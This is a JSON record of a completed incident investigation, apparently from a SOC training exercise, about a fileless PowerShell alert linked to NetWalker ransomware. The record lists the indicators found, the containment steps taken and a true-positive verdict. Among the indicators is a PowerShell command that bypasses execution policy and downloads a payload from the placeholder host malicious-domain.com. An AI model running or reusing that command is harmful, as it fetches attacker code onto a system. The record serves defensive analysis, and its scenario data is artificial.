{"playbook_version":2,"checkedArtifacts":["ip-192.168.1.25","ip-203.0.113.45","hash-e99a18c4","cmd-1","artifact_2","artifact_4"],"selectedActions":["isolate_host","block_hash","collect_forensics","escalate","reset_credentials","block_ip"],"verdict":"true_positive","conclusion":"INVESTIGATION EXECUTIVE SUMMARY\n===============================\nDATE: 15.03.2026, 23:43:15\nALERT: Execution: Fileless PowerShell Activity [OP: Advanced Fileless Ransomware Investigation: NetWalker in Healthcare & Education]\nVERDICT: TRUE POSITIVE\n\nKEY FINDINGS (6)\n----------------\n- [IP] 192.168.1.25\n- [IP] 203.0.113.45\n- [HASH] e99a18c428cb38d5f260853678922e03\n- [COMMAND] powershell -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://malicious-domain.com/payload -OutFile $null\n- [USERNAME] jdoe\n- [DOMAIN] malicious-domain.com\n\nCONTAINMENT PROTOCOLS DEPLOYED (6)\n------------------------------\n- Isolate Host\n- Block IP/Domain\n- Block File Hash\n- Reset Credentials\n- Collect Forensics\n- Escalate to Tier 3\n\nANALYSIS\n--------\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\n\nSIGNED: Analyst (Auto-Generated)","submitted_at":"2026-03-15T20:43:16.194Z"}